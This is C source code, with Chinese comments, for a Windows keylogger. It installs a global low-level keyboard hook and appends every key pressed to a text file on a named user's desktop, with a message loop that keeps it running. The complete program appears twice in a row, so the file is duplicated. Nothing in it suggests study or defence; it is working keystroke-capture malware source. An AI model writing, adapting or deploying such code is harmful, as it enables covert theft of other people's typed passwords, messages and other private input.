#include <Windows.h>
#include <WinUser.h>
#include <stdio.h>__declspec(dllexport) DWORD SaveDataToFile(
LPSTR szFilePath,
LPVOID lpData,
DWORD dwDataSize);HHOOK _hook;
KBDLLHOOKSTRUCT kbdStruct;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
char key_value[32] = {0};
if (nCode >= 0)
{
// the action is valid: HC_ACTION.
if (wParam == WM_KEYDOWN)
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
printf("KeyboardProc nCode = %c\n",kbdStruct.vkCode);
sprintf(key_value,"%c",kbdStruct.vkCode);
//保存文件show.txt到桌面
SaveDataToFile("C:\\Users\\sunjinhai\\Desktop\\show.txt",key_value,lstrlen(key_value));
// a key (non-system) is pressed.
if (kbdStruct.vkCode == VK_F1)
{
// F1 is pressed!
printf("F1 is pressed\n");
//return 1;
}
}
}
return CallNextHookEx(_hook, nCode, wParam, lParam);
}void SetHook()
{
if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0)))
{
MessageBox(NULL, "Failed to install hook!", "Error", MB_ICONERROR);
}
}void ReleaseHook()
{
UnhookWindowsHookEx(_hook);
}/* ************************************
* SaveDataToFile
* 功能 将数据存储到文件末尾
* 参数 LPSTR szFilePath 文件路径
* LPVOID lpData 需存储的数据
* DWORD dwDataSize 数据大小(字节)
**************************************/
DWORD SaveDataToFile(
LPSTR szFilePath,
LPVOID lpData,
DWORD dwDataSize)
{
//文件句柄
HANDLE hFileWrite;
//成功写入的数据大小
DWORD dwWritedDateSize; //打开已经存在的文件,读取内容。
hFileWrite = CreateFile(szFilePath, // 要打开的文件名
GENERIC_WRITE, // 以写方式打开
0, // 可共享读
NULL, // 默认安全设置
OPEN_ALWAYS, // 打开已经存在的文件,没用则创建
FILE_ATTRIBUTE_NORMAL, // 常规文件属性
NULL); // 无模板
//判断是否打开成功
if(hFileWrite==INVALID_HANDLE_VALUE)
{
printf("打开文件失败:%d\n",GetLastError());
} //设置文件指针到文件尾
SetFilePointer(hFileWrite,0,0,FILE_END); //将数据写入文件
if(!WriteFile(hFileWrite,lpData,dwDataSize,&dwWritedDateSize,NULL))
{
printf("写文件失败:%d\n",GetLastError());
}
else
{
printf("写文件成功,写入%d字节。\n",dwWritedDateSize);
}
CloseHandle(hFileWrite);
return 0;
}int main(void)
{
SetHook(); //这里只是为了不让程序退出,一直保持
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{ }
return 0;}
#include <WinUser.h>
#include <stdio.h>__declspec(dllexport) DWORD SaveDataToFile(
LPSTR szFilePath,
LPVOID lpData,
DWORD dwDataSize);HHOOK _hook;
KBDLLHOOKSTRUCT kbdStruct;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
char key_value[32] = {0};
if (nCode >= 0)
{
// the action is valid: HC_ACTION.
if (wParam == WM_KEYDOWN)
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
printf("KeyboardProc nCode = %c\n",kbdStruct.vkCode);
sprintf(key_value,"%c",kbdStruct.vkCode);
//保存文件show.txt到桌面
SaveDataToFile("C:\\Users\\sunjinhai\\Desktop\\show.txt",key_value,lstrlen(key_value));
// a key (non-system) is pressed.
if (kbdStruct.vkCode == VK_F1)
{
// F1 is pressed!
printf("F1 is pressed\n");
//return 1;
}
}
}
return CallNextHookEx(_hook, nCode, wParam, lParam);
}void SetHook()
{
if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0)))
{
MessageBox(NULL, "Failed to install hook!", "Error", MB_ICONERROR);
}
}void ReleaseHook()
{
UnhookWindowsHookEx(_hook);
}/* ************************************
* SaveDataToFile
* 功能 将数据存储到文件末尾
* 参数 LPSTR szFilePath 文件路径
* LPVOID lpData 需存储的数据
* DWORD dwDataSize 数据大小(字节)
**************************************/
DWORD SaveDataToFile(
LPSTR szFilePath,
LPVOID lpData,
DWORD dwDataSize)
{
//文件句柄
HANDLE hFileWrite;
//成功写入的数据大小
DWORD dwWritedDateSize; //打开已经存在的文件,读取内容。
hFileWrite = CreateFile(szFilePath, // 要打开的文件名
GENERIC_WRITE, // 以写方式打开
0, // 可共享读
NULL, // 默认安全设置
OPEN_ALWAYS, // 打开已经存在的文件,没用则创建
FILE_ATTRIBUTE_NORMAL, // 常规文件属性
NULL); // 无模板
//判断是否打开成功
if(hFileWrite==INVALID_HANDLE_VALUE)
{
printf("打开文件失败:%d\n",GetLastError());
} //设置文件指针到文件尾
SetFilePointer(hFileWrite,0,0,FILE_END); //将数据写入文件
if(!WriteFile(hFileWrite,lpData,dwDataSize,&dwWritedDateSize,NULL))
{
printf("写文件失败:%d\n",GetLastError());
}
else
{
printf("写文件成功,写入%d字节。\n",dwWritedDateSize);
}
CloseHandle(hFileWrite);
return 0;
}int main(void)
{
SetHook(); //这里只是为了不让程序退出,一直保持
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{ }
return 0;}